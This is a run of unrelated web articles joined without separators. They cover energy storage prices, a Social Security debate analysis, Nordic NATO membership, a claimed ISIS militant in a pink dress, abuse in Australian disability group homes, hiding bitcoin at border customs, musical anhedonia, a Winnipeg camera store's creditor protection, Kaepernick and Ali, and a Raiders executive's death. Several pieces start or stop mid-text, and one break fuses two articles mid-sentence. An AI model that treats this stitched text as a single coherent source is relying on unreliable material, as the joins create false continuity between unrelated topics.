Redflow, a maker of zinc-bromide flow batteries, sells batteries with a cost of storage around 20 cents per kwh. And zinc-bromide is well off the left side of the graph above, many many steps in its learning function away from the beginning of the chart.
ESSis a graduate of the ARPA-E GRIDS program, which set a goal of $100 per kwh capital costs of batteries, for batteries that can run for many thousands of cycles. The math there points to batteries that eventually cost a few cents per kwh.
We cannot be certain that any technology will follow a trajectory on a graph. Fundamentally, though, the presence of the learning curve in nearly all industrial activities, combined with the longer lifetimes of flow and CAES systems, suggests that their prices will drop well below those of lithium-ion.
The disadvantage of both flow batteries and CAES is that their energy density is low. To hold they same amount of energy, both flow and CAES are larger and heavier than lithium-ion. As a result, I expect to see a divergence over time:
Lithium-ion and its successor technologies (perhaps metal air) will be used for electric vehicles and mobile devices.
Bulkier, heavier, but longer-lasting and deeper-draining storage technologies like flow batteries and CAES will be used for stationary power for the electrical grid.
Cheap, zero-carbon power, 24/7
Solar power and wind power are each headed towards un-subsidized prices of 2-3 cents per kwh in their best areas, and perhaps 4 cents in more typical areas.
New natural gas costs around 7 cents per kwh. As solar and wind steal hours from natural gas plants (because they’re cheaper when the sun is shining and the wind is blowing), natural gas plants will sit idle longer. As a result, the price of natural gas electricity will rise to perhaps 10 cents per kwh, as the up-front capital cost of natural gas plants is spread over fewer kwhs out.
To compete with that on a 24/7 basis, we need storage that costs no more than 5 or 6 cents per kwh, and ideally less.
In other words, we need to cut the price of energy storage by a factor of 5 or 6 from today’s prices.
We’ve already cut energy storage prices by a factor of 10 since the 1990s. And if current trends hold, the world is very much on path to achieving cheap enough storage to allow 24/7 clean energy, and doing so in the next 15-20 years.
There’s more about the exponential pace of innovation in both storage and renewables in my book on innovating in energy, climate, food, water, and more:The Infinite Resource: The Power of Ideas on a Finite Planet.
Editor’s Note
This article was first published in the blog section of Ramez Naam’s website on 14 October and is republished here with permission from the author.
Ramez Naam is an award-winning writer of non-fiction and science fiction, a speaker and entrepreneur. He spent 13 years at Microsoft, where he led teams developing early versions of Microsoft Outlook, Internet Explorer, and the Bing search engine. His career has focused on bringing advanced collaboration, communication, and information retrieval capabilities to roughly one billion people around the world, and took him to the role of Partner and Director of Program Management within Microsoft.
Between stints at Microsoft, Ramez founded and ran Apex NanoTechnologies, the world’s first company devoted entirely to software tools to accelerate molecular design. He holds 19 patents related to search engines, information retrieval, web browsing, artificial intelligence, and machine learning. If you liked this post, you may want to check out his book on innovating in energy, food, water, climate, and more: The Infinite Resource: The Power of Ideas on a Finite Planet.
This post is part of a series looking at the economic trends of new energy technologies. Part 1 looked at how cheap solar can get (very cheap indeed). Part 2 looked at the declining cost and rising reliability of wind power.Flickr/elevenItaly I followed what Biden and Ryan had to say about Social Security in their debate. My take on their words:
Ryan said four times that his plan was to restructure Social Security. He said his plan would not involve a sacrifice for anyone who is now 55 or older. Ryan has created a new "Red Line". If you're 54 or younger, you are below the red line; bend over. If you are above Ryan's artificial red line, you get a free ride.
This is an extremely unfair plan. I can't imagine how it could be implemented without ripping the country apart.
Ryan was referring to a version of the Simpson-Bowles plan for Social Security. A combination of increased taxes, coupled with increased retirement age and lower monthly benefits. There would be delay in implementing these changes, so that those who are now near retirement age would not be hurt.
I give Ryan a B+ for honesty. America's politicians have to fess up to the fact that Social Security (SS) must make significant changes to remain solvent. Higher taxes and lower benefits are necessary if SS is to last another twenty-years. There is no way around that fact. Any politician, who says otherwise, is just lying.
But I give Ryan a D- for fairness. The idea that everyone today aged 54 or younger gets screwed, while those a few days older get off Scott-free is insane to me.
America's problem is the Baby Boomers. Every day there are 10,000 new beneficiaries who are hitting up SS for a monthly check. At that rate, over 40 million Boomers will be getting their full monthly checks by the time Ryan's "Red Line" comes into effect. After the first SS check is written, the future payouts can't be reduced. So the Ryan plan creates a carve-out that protects a huge chunk of the Boomers. It does it at the expense of everyone who is today under 55.
That's the plan? Protect the age group that is causing the problem? At the expense of the next few generations? None of the 40 odd million Boomers will suffer at all? None of them? Where's the fairness in that plan?
What Ryan promised for SS is just a political lie. The fact is that all of the folks who are today 55+ probably liked what they heard Ryan saying. And that is a very big block of voters.
The Boomers are the problem. They have to be part of the solution. Any plan that gives the Boomer age cohort a free ride at the expense of the rest of the population is a recipe for disaster. The risk is Age Warfare.
++
Everyone says that Biden is the "smart" debater. Maybe so. His comments on SS were carefully crafted. But if you look through his words, he was just playing politics.
Joe went straight to a liberal hot spot on SS. He flat out promised that an Obama/Biden ticket would never, ever privatize SS. This was a very smart move on Joe's part. It plays to one of the great fears that the lovers of SS have; that one-day, the Republicans will let the evil guys on Wall Street get their hands on the SS Trust Fund.
Ryan rebutted that privatization should be considered for younger workers, but Biden blew him away with one of his now famous chuckles. Biden knew that he had scored points, as he knew that even the mention of the word "privatization" would get a few hundred thousand folks to the voting booth.
On this exchange I would give Biden a B+ and Ryan a D-. Ryan is wrong on privatization, he should have known better.
Ten years ago SS was running $100+Bn annual cash surpluses. If there ever was a time to consider a partial privatization, that was it. A portion of the surpluses could have been allocated to other investments back then. But not any longer.
SS is running annual deficits now. They are in the -$50Bn range for 2012, but the red ink will grow rapidly north of $100Bn in just a few years. If any portion of SS's current cash flow were diverted to other investments, it would mean that there would be a larger drain on the Trust Fund surplus. The fact is, privatization is no longer a policy option. So Ryan was selling sound bites of a policy that has no chance of seeing the light of day.
Outside of the attack on the privatization of SS, Biden said nothing about SS that was worth noting. As a debate move, this was brilliant. If you say nothing, have no position and avoid critical issues, you win debates.
Here's the facts Joe Boy:
Before 2016 the SS Disability Fund will run dry. They next administration has to confront this reality. A fix is required in less than 36 months. There is a gun to your head for action Joe. You have two choices. Raise taxes or cut DI benefits. Which one is it? You can't hide under a rock for another four years, so what are you going to do?
The retirement side of SS will run off the cliff in 20 years according to the CBO. But that estimate is off the mark. It is not possible to run the SS Trust Fund to zero; a minimum of one-year's worth of benefits has to be retained as a minimum reserve. Over the next decade there will be at least one recession, when that happens the SS death spiral will be advanced by five or so years (as it was from the 08 blowout). The reality is that the SS drop dead date is closer to ten-years away from today.
Ryan has a bad plan, Biden has no plan at all. As it turns out, Ryan's plan of "55 and under get clobbered"is about right. That is exactly the way this is going to play out. Either there is legislation that screws everyone 55 or under, "the Ryan Plan", or there is the Biden "Do Nothing Plan", and in about ten-years SS falls off a cliff. Either way, the same folks get screwed.
++
I think America needs a new political party. I would call it the Purple Unders Party (PUP). Purple, because it is the color when Blue and Red are mixed equally. Unders, for that group of people who are 55 and under.
The funny thing is that the PUs are out there. They will be voting for either a Red or a Blue. One fringe or the other will win, the PUs will all lose. Those PUs make up most of the population, and well more than half of the votes.
What a stupid system.Nordic NATO Nominees
By MarEx 2014-05-09 20:30:00
Przemek Krajewski gives his opinion on the prospects of Sweden and Finland joining NATO:
Until recently, it was hard to imagine Sweden joining NATO. With long traditions of neutrality, Sweden and Finland had distanced themselves from the main military centers of Europe. The reason for neutrality is succinctly explained in the introduction to the book Navies in Northern Waters 1721-2000: “The present situation is a further illustration of the long-standing conflict between the legal and power-oriented approaches to disputes in the region,” with the Swedes and Finns aligned with the former. In 1994 Sweden joined Partnership for Peace (PfP) as a framework to cooperate with NATO. Still insisting on its place as a militarily non-aligned country, the Swedish Mission to NATO states that “by participating in PfP, Sweden wishes to contribute to the construction of a Euro-Atlantic structure for a safer and more secure Europe.”
Public Swedish support for joining NATO remained limited, with about 50 per cent against as of mid-April, but supporters of this idea increased their share from 17 per cent to 29 per cent last year alone. In the same article we find important opinion of Finland’s Prime Minister Jyrki Katainen who said “that both Finland and Sweden should consider joining NATO when the time is right.”
A small Finnish step in this direction is that this year the nation agreed to a Memorandum of Understanding with NATO, while Sweden and Finland are increasing military cooperation with each other under a landmark pact. So what caused both Nordic countries to begin reevaluate their positions? Professor Mearsheimer in his book The Tragedy of Great Power Politics wrote:
When a state surveys its environment to determine which states pose a threat to its survival, it focuses mainly on the offensive capabilities of potential rival, not their intentions.
Living near mighty military power means that one lives in a state of permanent insecurity, so what one hopes for are benign intentions. The war in Georgia ignited doubt about one particular neighbor, but Ukraine has forced caution to give way to fear. If one can’t hide by flying “under the radar” of a big power, then what remains is to ally with another power. Appeasement doesn’t have a good track record during Europe’s last 100 years. But as Jan Joel Andersson explains in the Foreign Affairs article “Nordic NATO,” both countries need public buy-in for the solution before joining the Alliance.
Although skeptical, Scandinavians seem to slowly appreciate this path and support for the idea is growing. The article lists good arguments, both political and military, for Sweden and Finland to join NATO from the Alliance’s perspective. In fact, this would be a geostrategic loss for Russia, greater probably than the gain of Crimea. From a purely military point of view, the following excerpt is critical for understanding the regional stability the additions would aid:
Even more important, Sweden and Finland’s formal inclusion in the alliance would finally allow NATO to treat the entire Arctic-Nordic-Baltic region as one integrated military-strategic area for defense planning and logistical purposes, which would make the alliance much more able to defend Estonia, Latvia, and Lithuania against Russia.
It’s worthwhile to take a look at a map, especially to highlight the maritime and naval aspects of this story.
In the current situation, the Baltics represent a relatively narrow strip of land, lightly defended and not offering defense-in-depth. Any sustained reinforcements could come only from sea, which would require sea control. The main NATO naval forces would likely operate from bases in Germany and Swinoujscie in western Poland, as Gdynia and Klajpeda could be put at risk by ground operations. Although it would be possible to organize a successful blockade of any opposing naval forces using the Alliance advantage in submarines, light surface forces would have tough time overcoming land-based air forces and coastal batteries. Using Adm. J.C. Wylie’s terminology, the geography of the region strongly favors sequential warfare on land instead of cumulative naval warfare for which there would be no time assuming the desire to defend the Baltics.
Swedish access to NATO would alter these considerations significantly, bringing a few additional benefits to the more-realistic defense of the Baltics:
Norway would no longer be an “isolated” NATO member, as its depth of defense increases.
Baltic Sea control could be achieved and maintained by local navies with limited support from the United States.
There are two other aspects to consider, however. For Finland, Sweden’s joining NATO would only increase its isolation as the only neutral country in the region. The preference for a sequential land warfare strategy would expose Finland for greater risk. The situation would not be so different from that of the Black Sea. Therefore the best would be a common decision of both Sweden and Finland, even if it complicates matters.
It is difficult to imagine synchronization of political willingness in such sensitive area, but growing cooperation between Nordic countries could be helpful. Nordic Defence Cooperation initiative, including Sweden, Finland, Norway, Denmark and Iceland, although mostly focused on military efficiency includes already mix of NATO and EU countries, and active participation of both Finland and Sweden with NATO lower technical barriers of access. The key point remains public support for such idea, but as it was mentioned already, such support and acceptance seems to slowly grow.
Another issue is the opportunity to evaluate/reevaluate the concept of the U.S. Navy’s littoral combat ship (LCS) and/or its successor in the Baltic Sea security environment. Two different scenarios including Nordic countries offer very different operational possibilities. In today’s state of things, the LCS lacks offensive power of anti-ship cruise missile (ASCM).
Meanwhile, pondering anti-air defense leads to the dilemma the best defined by Swedish designers of the Visby corvette – “invincible or invisible”. However, in the case of the Nordic countries belonging to NATO, LCS’s anti-submarine warfare (ASW) and mine counter-measure (MCM) capabilities would be very much appreciated. In the May issue of the U.S. Naval Institute’s Proceedings, Adm. Walter E. Carter offers some remarks on future forces in his article “Sea Power in the Precision-Missile Age:”
Based on the preceding analysis, it appears that the most significant forces for future warfare at sea include:
Platforms employing standoff ordinance that penetrate high-end defenses;
Platforms with an emphasis on offensive firepower to prevail at sea;
Mobile and low-observable platforms and logistics, readily dispersed, and heavily protected or hidden by decoys, obscurants, RF jammers, and signature control; and
Forces minimally reliant on RF networks to be employed against high-end opponents using pre-planned responses and low-data-rate, secure, and sporadic communications.
Conversely, less relevant forces of the future will include:
Those dependent on fixed bases;
Platforms within enemy missile ranges that have large signatures and are thus readily targetable;
Systems dependent upon long-distance, high-data-rate RF networks;
Platforms that must penetrate high-end defenses to deliver ordnance; and
Platforms whose primary means of survival rests on active defense (i.e. shooting missiles with missiles).
While this analysis seems to be a perfect description of Pacific scenarios, a narrow sea like the Baltic invites further elaboration as this environment offers little room for stand-off or escape from inference from shore based-capabilities. Striking an enemy’s shore would incentivize small, stealthy, and unmanned platforms, but keeping sea lines of communications open in the same area would be difficult without classic surface forces. So the question remains open as to how survivable these light surface forces would be in restricted waters. And in the case of submarines the weak point in narrow waters is still the naval base from which they operate.
Przemek Krajewski (alias Viribus Unitis) is a blogger in Poland. His area of interest is the context, purpose, and structure of navies – and promoting discussion on these subjects in his country.A journalist claims that a terrorist was caught fleeing Syria in a pink dress. Or is this an example of the Turkish military humiliating its prisoners?
ISIS militants have a long, proud tradition of cutting their beards and running to Europe the moment they see an approaching Russian bomber.
An ISIS commander tried a similar trick in Afghanistan. Didn't go so well...
But are terrorists in Syria now dressing up as women in an attempt to shield themselves from justice?
A journalist from Turkey's conservative daily, New Dawn, claims that Turkish soldiers in Syria recently captured a militant attempting to flee in a pink party dress:
Suriye'de Fırat Kalkanı Harekatı tüm hızıyla devam ederken, Türk askeri operasyon sırasında pembe elbise giyen DEAŞ'lı bir terörist yakaladı pic.twitter.com/LgZlGrdRlC — Burak Doğan (@doganburak29) February 24, 2017
Assuming this photo shows what the journalist claims, this certainly wouldn't be the first time that ISIS militants or other terrorists have attempted to “blend in” with the crowd.
In August, a top ISIS commander in Northern Afghanistan was captured in a dress as he attempted to escape government troops.
We've witnessed a similar display of cowardice in Syria.
After Russia began its air campaign in September 2015, multiple reports emerged of ISIS militants shaving their beards and fleeing to Turkey:
Let's shave...
Photo apparently showing left over beards shaved off by rebels running 4m #Syria. pic.twitter.com/RJ3DVOJ8YR — Hala Jaber (@HalaJaber) October 12, 2015
More recently, Syrian, Iranian and Russian forces found mounds of hair in the streets as they pushed Al Nusra and their moderate friends out of Aleppo:
The hair of the shaved beards of the terrorist scum who exited #Aleppo. A photo that was taken in the old city of #Aleppo #Syria pic.twitter.com/3Lzw0qX1Qs — maytham (@maytham956) December 9, 2016
But is this pink part dress photograph genuine? One would expect a terrorist to wear a Niqab, or at least something that would cover more of his body, if he was attempting to escape detection. So this could be a rather public display of Turkish soldiers humiliating a prisoner.
On the other hand, we're not so sure if the Turkish military keeps a stash of red party dresses. But who knows. Besides, there's a long precedent of terrorist cowards trying to flee Syria undetected. Shaving your legs and bolting for the border is not out of the ordinary for these people.
So this is either a magnificent example of how pathetic ISIS truly is, or a case study in Turkish hospitality.People with intellectual disabilities locked away under cloak of suburbia
Updated
A hundred years ago people with an intellectual disability were locked up in "lunatic asylums". Today they're still locked away, but it's just behind the walls of suburbia.
This is a story I'm trying to write without being able to give you specific details. It includes allegations of sexual abuse, physical assault and degradation, so people have asked for identities to be protected.
So I'll start with what I can tell you. I can tell you that in 2011 the NSW government moved a young woman in with two other people with disabilities into a group home in Sydney and later a fourth.
And what happened next typifies everything that is going wrong in group homes around Australia.
This home was in the city's west. The address is unsurprising because nearly all group homes are located in affordable suburbs. It's here there's suitable houses.
They're also big enough to accommodate up to five high-needs residents in some houses, sometimes with as little as one or two people to care for them.
The parents and carers of those who lived in the house tell me that at first glance it was clear this home would fall apart.
Normally, clients with similar needs are put together in a house. But in this case only two had similar disabilities and temperaments.
From the start, the staff were not able to juggle the needs of the autistic clients, who typically need order, with the other intellectually disabled clients who were more gregarious and acted out.
One mother tells me her daughter was sexually assaulted by another client and nothing was done about it.
She was told it couldn't be proved but her daughter's behaviour deteriorated and she was eventually moved to another home.
But this also proved to be unsafe, with the mother discovering a cigarette burn on her daughter's foot.
At the original house the alleged perpetrator went onto reveal that she herself had been the victim of a physical assault by a worker. Photos were provided. Police were notified but the case didn't make it to court because there were no other witnesses.
This resident was a high-needs client and was so badly managed she would be locked in a garage during one episode.
The worker involved in the alleged assault was sacked. It later emerged that same worker had also been in group homes interstate. Advocates continue to say worker registration, training and screening are pressing priorities.
Do you know more about this story? Email investigations@abc.net.au.
Another resident at the Sydney house was a young man with severe epilepsy. As the situation in the home deteriorated, he was moved away but then moved back into the home again.
At the same time his seizures became more frequent and severe and he died from a seizure while on an outing.
His death was the subject of coronial inquiry, which I've seen, and it was found he died of natural causes.
It will never be known whether the constant upheaval contributed to his condition.
These days all the parents and guardians of the residents of this home can only be described as empty shells. They are emotionally and physically exhausted after decades of fighting bureaucracy.
And, now they are facing more change. They must negotiate the National Disability Insurance Scheme. Will it make things better? They hope so, but they're not convinced.
More than 100 years ago people with an intellectual disability were locked away in asylums. Just a short drive north of Sydney the decommissioned Peat Island complex is testament to that.
The 1983 landmark Richmond report put an end to that era and people with a disability have been increasingly incorporated into mainstream society since then.
When I first started reporting on conditions in group homes four years ago some advocates suggested to me that group homes had simply become "mini-institutions" filled with the same degradations, abuse and assaults that were common in the old asylums and institutions.
At the time I thought this was an extreme view.
The more I report on this sector and talk to both advocates and families, the more I am convinced that this interpretation is accurate. In some suburbs we've talked to neighbours who report regular screaming, residents who abscond and in one extreme case a break-in from a resident who'd left a nearby house.
Yes, many group homes work wonderfully well. But it's quite clear that just like the home in western Sydney when things go wrong, they go horribly wrong.
And all under the clandestine cloak of suburbia.
Topics: disabilities, health, health-administration, carers, community-and-society, nsw, australia
First postedChild abuse does not happen in a vacuum. As much as it remains hidden from plain sight, it is predictable. We can usually tell when an abusive situation exists, and once we know a little about the players, we can usually tell why it happened. It is only because of our desire to keep out of other people’s business and pretend the world is a generally good place that we “miss” the warning signs.
There is not just one cause of abuse. A myriad of things come into play, such as drug abuse, mental illness, religious views, personality issues, prejudice, and political views. It is the latter two that prompted this post.
Hugo Schwyzer recently had a son. He wrote about his son’s birth on Role/Reboot. You would think it would be a joyous occasion, but Schwyzer had a fear:
In the fortnight since my precious David was born, it’s struck me how gendered my fears for my children are. I worry about both children getting sick, or being in pain, or being hungry, or cold. I worry about both of them being victimized by predators. I know enough to worry about both of them growing up around toxic messages of physical perfection (a particular problem where we live in West Los Angeles). But I realize that I’m not anxious about whether Heloise will grow up to be violent or predatory herself. I know girls can bully—but despite the claims of MRAs, the evidence is that girls are much less likely to rape, to hit, to abuse. The truth is, I worry about both my children becoming victims. But it is only my son whom I worry might himself become a victimizer. That’s not based on “misandry” (the irrational hatred of men), nor on any special insight into my baby boy’s character. That fear is based on statistics about which sex commits most physical abuse and it’s based on an all-too-intimate familiarity with a culture that mythologizes and glamorizes masculine violence. I’ve spent years and years unlearning the destructive tropes with which I was raised, just as I’ve spent years and years making amends for the very real harm I did when I was young. It wasn’t until I was well into my 30s that I began to love and accept my own maleness. To put it simply, at the base of all of my worries is the fear that sweet little David will grow up to repeat his father’s cruelest—and most gendered—mistakes.
As I wrote in the comments on that thread, speaking as someone who was abused by a feminist who shares Schwyzer’s views, I honestly hope that Schwyzer’s son teaches him to curb his misandry because I do not want child to grow up in the same kind of abusive situation I did. The sentiment he expressed suggests that he not only would allow abuse against his son, but that if it were done by a woman or a girl, like the boy’s older sister, that Schwyzer would condone or excuse it. I have personally experienced this, and heard this from dozens of male and female survivors of the years. That dynamic of treating one sex as inherently bad or dangerous never goes well. There are people like Adaya who experience it the other way around.How to Protect Your Bitcoin and Your Privacy When Passing Through Customs
Border patrol don’t like bitcoin. In fact they dislike anything they don’t understand or have been programmed to distrust. Encryption, cryptocurrency, graphics cards, all of the tech we take for granted is anathema to suspicious customs agents. Whether you’re traveling into the U.S. or any other surveillance state, here’s what you should do to avoid raising red flags.
See also: Stay Safe By Keeping Your ‘Bitcoin Business’ to Yourself
Red Flags and Black Marks
With lengthy layovers, endless queues, and heightened security, traveling abroad is stressful at the best of times. When you’re carrying cryptocurrency, however, passing through borders isn’t just stressful – it’s also dangerous. Moving from country to country with a little bitcoin – or even a lot of bitcoin – stored on a hardware wallet, laptop, or cell phone should be a lot safer than carrying a corresponding amount of cash. Crypto is much easier to conceal. But it is the very concealment of cryptocurrency – or even the possibility of such concealment – that compels nosey TSA agents to order travelers to unlock their phones, decrypt their laptops, and bare their digital life for inspection.
Regardless of whether customs have the right to intimately scrutinize passengers in such a manner, the reality is that such practices are rampant, primarily at U.S. airports. To enter the land of the free, first you must surrender your freedoms.
Welcome to Bitcoin Club
The first rule of Bitcoin Club is that when passing through customs – that’s right – you don’t talk about Bitcoin Club. The risks that international travelers arriving in the U.S. face was highlighted this week in a lengthy and understandably emotional tweetstorm by Amal El-Mohtar. The writer, who is no stranger to “enhanced” security checks at airports, largely on account of her name it appears, was subjected to a particularly grueling ordeal. She explained: “Last time… no one took my phone, everyone was embarrassed while they asked horribly violating questions about my parents & background…This time was different”. The Canadian citizen continues:
While anyone can have a bad experience at customs and then vent on social media, such experiences are not isolated. Having a suspicious surname seems grounds alone for enduring extensive interrogation. By the time her journal had been pored over along with her cell, which she’d been forced to unlock, Amal El-Mohtar had missed her flight and had to return to the check-in desk to rebook and repeat the process all over again.
Hide Yo Bitcoin, Hide Yo Encryption
Cases such as this emphasize the need to keep your digital identity locked down when passing through hostile customs. Simply encrypting your hard drive may not be enough, as the very act of doing so can raise further suspicion. If you are going to encrypt sensitive data, consider partitioning your hard drive and concealing the encrypted sector, making it invisible to cursory searches. Hide cryptocurrency apps on your cell phone – yes, banish your Blockfolio. Better still, take a clean laptop and a burner phone and leave the real ones at home.
Admittedly, this isn’t always practical, and the TSA – or whatever border agency happens to be frisking you – is unlikely to detain you for having a thumb drive containing $100 of shitcoins. Nevertheless, given the ease which which an individual’s identity can be laid bare once their laptop or smartphone is unlocked, the simplest solution is to travel clean and with complete peace of mind. Either hide it well or don’t take it with you.
For so long as such innocuous markers as a person’s birth name or interest in bitcoin can be used to profile them under the all-encompassing umbrella of “muh terrorism”, it’s best to play it safe. You can’t easily change your name, but you can certainly conceal your affinity for the world’s favorite digital currency.
Have you ever experienced problems when traveling into the U.S? Let us know in the comments section below.
Images courtesy of Shutterstock.
Need to calculate your bitcoin holdings? Check our tools section.For most people, the mere suggestion that a favorite song fails to evoke an emotional response in another human being sounds preposterous. Sure, that person might not like that song as much as you do, but they'll definitely feel something — right?
Not necessarily, says Josep Marco-Pallerés, a cognitive neuroscientist at the University of Barcelona and lead author of a new study that explores why some people feel indifferent to music. "Music isn't rewarding for them, even though other kinds of rewards, like money, are," he says. "It just doesn't affect them."
some people don't get a kick out of listening to music
To find out why, researchers recruited 30 university students, each of whom had been identified as very sensitive to music, moderately sensitive, or not sensitive at all thanks to a questionnaire. Researchers also made sure that the study's participants weren't depressed, tone-deaf, hearing-impaired, or otherwise unable to understand music — all factors that would have dampened their pleasure response.
Then, researchers monitored the student's heart rates and sweat levels during listening sessions involving familiar pieces of music (previous studies have shown that people react more strongly to music they know). "We asked them to bring music from home that they like," Marco-Pallerés recalls, "and most of them had problems doing that." Those who were indifferent to music either ended up bringing a smaller number of recordings — some didn't own music at all — or had to borrow music from a family member.
Their heart rate didn't increase with each crescendo
The study's results, published today in Current Biology, are surprising. Although these participants were perfectly capable of perceiving when a tune was sad or happy, they didn't show physical or emotional reaction. They didn't shiver if a singer hit a high note, and their heart rate didn't increase with each crescendo. But when asked to play a game involving a monetary reward, those who were indifferent to music reacted just like everyone else: the thought of winning even a small amount of money was enough to make their hearts race. The results were unchanged a year later, when 26 of the students took the test again.
But we shouldn't mistake an indifference to music for dislike, Marco-Pallarés says. When students were asked to describe their affinity for music on a scale of one to ten, for example, those who were indifferent usually answered with the number five — the mathematical equivalent of a shrug.
Researchers even have a name for the condition: "specific musical anhedonia." The term anhedonia is used by psychologists to describe a person's inability to derive |
of digital photography and the sharing of photos through social media has meant fewer customers for the traditional camera and photographic supply retailers.
Global camera sales of higher end single-lens reflex (SLR) cameras have been declining by about 20 per cent annually and continue to fall. The digital point and shoot camera market is even more precarious.
"That’s directly related to the fact that everyone has a smart phone in their pocket," Godfrey said. "The lower priced-cameras have gone away."
While recognizing that the market is changing, Godfrey said there is still room for a company like Don’s, that caters to the sophisticated amateur and everyone above and below that line on the retail landscape
"Our passion is photography in general," he said. "We have dealt with everyone from press photographers to Olympic photographers to the budding students to the moms taking pictures of their newborns."
Last year, Blacks Photography closed all 59 of its locations across the country including a couple in Winnipeg. Blacks had been acquired by Telus in 2009.
Although Blacks was more focused on photo-finishing than on equipment, the number of places to buy quality cameras in the city is shrinking.
In addition to the Blacks closures, Henry’s is down to one store in Winnipeg from three and Future Shop has closed two stores after being absorbed into the Best Buy family.
"Those are all places people could buy cameras," said Godfrey
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The company statement said that the creditor protection process is intended to give the company time to "emerge leaner, stronger and better prepared for the future."
Ongoing business will be able to be transacted and any new goods and services sold to Don’s will be "paid in full on mutually agreeable terms."
But existing creditors are going to have to wait for a formal proposal. Amounts owing as of January 20 are frozen. PWC says it has 30 days to file that proposal unless it receives an extension from the court.
Included among Don’s current list of creditors are many of the large camera brands like Canon, Nikon and Sony who have outstanding invoices with Don’s in amounts well into the six digits.
The company also owes the Bank of Montreal close to $400,000.
martin.cash@freepress.mb.caBy Matt Johnson
Colin Kaepernick certainly isn’t the first athlete to question the validity of the American character, nor will he probably be the last. Where he now stands, several athletes have stood before. And of course the most famous is probably Muhammad Ali.
Muhammad Ali, who was banned from boxing for refusing Army induction during the Vietnam war, cited religious reasons for not serving. What was his punishment? As History.com explains,
On June 20, 1967, Ali was convicted of draft evasion, sentenced to five years in prison, fined $10,000 and banned from boxing for three years.
Again, he was citing religious reasons for his decision not to serve. But eventually, the United States Supreme Court would overturn his ban from boxing and he would fight again. The Register-Guard of Eugene, Oregon reported the 8-0 decision in 1971. The Court found his objection to military service be reasonable. As the The Register-Guard reports,
In the unsigned decision, the court said the government has now fully conceded that Ali’s beliefs are based upon ‘religious training and belief’ as set out in previous conscientious objector cases. The court said the record shows that the boxer’s beliefs ‘are surely no less religiously based’ than those in previous cases.
In the recent case of Colin Kaepernick, he exclaimed his objections for not standing for the national anthem and the honoring of the national anthem because of the treatment of Americans of African heritage here in the United States. And in response, he faced a “swift, emotional, collective, and punitive” rebuking from social media constitutionalists in an ironically Ali type of flurry.
Everything from his character to his patriotism to his religious beliefs were attacked. Nothing was off-limits. But what were Kaepernick’s objections? As the Chicago Tribune reported his interaction with the NFL media during an interview,
I am not going to stand up and show pride in a flag for a country that oppresses black people and people of color. To me, this is bigger than football and it would be selfish on my part to look the other way. There are bodies in the street and people getting paid leave and getting away with murder.
Let’s set aside for a moment Kaepernick’s statements and ask the question, how similar or dissimilar are his remarks to those of Muhammad Ali? And are United States citizens suffering from historical amnesia? Well according to alphahistory.com, Kaepernick’s statements compared to those of Ali’s are pretty mild. One must imagine how these words from Ali would resonate today,
Why should they ask me to put on a uniform and go ten thousand miles from home and drop bombs and bullets on brown people in Vietnam while so-called Negro people in Louisville are treated like dogs and denied simple human rights? No, I am not going ten thousand miles from home to help murder and burn another poor nation simply to continue the domination of white slave masters of the darker people the world over. This is the day when such evils must come to an end. I have been warned that to take such a stand would put my prestige in jeopardy and could cause me to lose millions of dollars which should accrue to me as the champion. But I have said it once and I will say it again. The real enemy of my people is right here. I will not disgrace my religion, my people or myself by becoming a tool to enslave those who are fighting for their own justice, freedom and equality… If I thought the war was going to bring freedom and equality to 22 million of my people they wouldn’t have to draft me, I’d join tomorrow. But I either have to obey the laws of the land or the laws of Allah. I have nothing to lose by standing up for my beliefs. So I’ll go to jail. We’ve been in jail for four hundred years.
It’s clear Ali doesn’t mince words. He means what he means and he’s ready to face the trials and tribulations for his actions. In other words, he’s ready to take responsibility for his actions, and he did. And what ought to stick out to people are his stances: religious objections, treatment of traditionally disenfranchised groups, and the sacrifice of his career for those principles. As a protestor of the state, Kaepernick’s in good company.
These similarities, although separated by time, are important because there are online publications attempting to question Kaepernick’s patriotism and devalue his stance because of his association with his fiancée, Nessa Diab, because she is a muslim. There are others who are attempting to make similar arguments because he is an athlete making millions of dollars. It’s as though his profession prevents him from having an opinion or taking a political stand. And one must ask him or herself, how would Muhammad Ali be treated today given the current political climate?
And further yet, there are some people who are saying Kaepernick should leave the country or go back to Africa for an action that is protected by the first amendment. By the way, political protest is a constitutional right. Standing for the national anthem and honoring the national ensign are cultural norms, and that’s not disputable. And there is another problem with this intellectually vacant logic. Kaepernick is a home-grown American. The kid was born in Milwaukee. That’s Milwaukee, Wisconsin for you social media constitutionalists.
But since we’re in the exiling mood, let’s send this home. First, what country shall we exile him to for practicing his first amendment right? And when shall we schedule this exile for?
And since we’re at it, who else should we exile? Surely there are others who have offended our social norms and feelings, because standing for the national anthem and honoring the national ensign is a social norm, granted a deeply embedded one based on a certain set of moral foundations; whereas, not standing for the national anthem is a constitutionally protected right. So we shall ask ourselves the question again. Baring constitutionally protected rights, who shall we put on the boat next to Kaepernick and where shall we send them to?
Post your suggestions of who shall be Blacklisted and where shall they be sent to in the comments section below. Our staff will be compiling the data to send to the appropriate authorities for immediate action. Can’t allow any Conscientious Objectors to penatrate our American ranks.
Matt Johnson is an economics and science writer for The Systems Scientist. You can connect with him directly in the comments section, follow him on Twitter or on Facebook.
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Photo credit: Cliff
Copyright ©2016 – The Systems ScientistAnother familiar face from the Al Davis Raiders is gone. This time it’s Al LoCasale, the former team executive who passed away at 82 following a recent stroke.
LoCasale has been retired since 2003, although he still made his way occasionally to games from his home in El Segundo. In his own way, LoCasale was as much a part of Raiders history as others who have passed away recently _ quarterback Kenny Stabler, wide receiver Art Powell, defensive coordinator Charlie Sumner, fullback Marv Hubbard.
“The Raiders are saddened by the passing of longtime executive assistant Al LoCasale, whose relationship with the organization spanned more than three decades,” Raiders owner Mark Davis said in a statement. “He is an integral part of our history and he helped articulate the mystique of the silver and black. Our thoughts are with his family at this time.”
I met LoCasale for the first time in 1977, having been granted an interview on behalf of my junior college newspaper, the Chabot Spectator, with linebacker and special teams player Jeff Barnes. I was greeted gruffly by LoCasale, a sawed-off Napoleonic figure who demanded that I not move away from a designated area.
Alas, I wandered away from that area to catch a little practice, only to have LoCasale threaten to throw me out. I apologized and stayed put. (Years later he got a chuckle out of the story when I told him about it).
LoCasale was pretty much equal opportunity with the media in those days, whether it was a national columnist or small-time J.C. teenager. If you were thought of as against Raiders, and especially Al Davis, you incurred the wrath of LoCasale.
Former Raiders exec Amy Trask, a full-time employee for the first time with the Raiders in 1985, received complaints from a league official in the press box after disagreeing with an on-field call against the Raiders.
When the official went to LoCasale, he responded by removing the credential of the official, in effect supporting Trask.
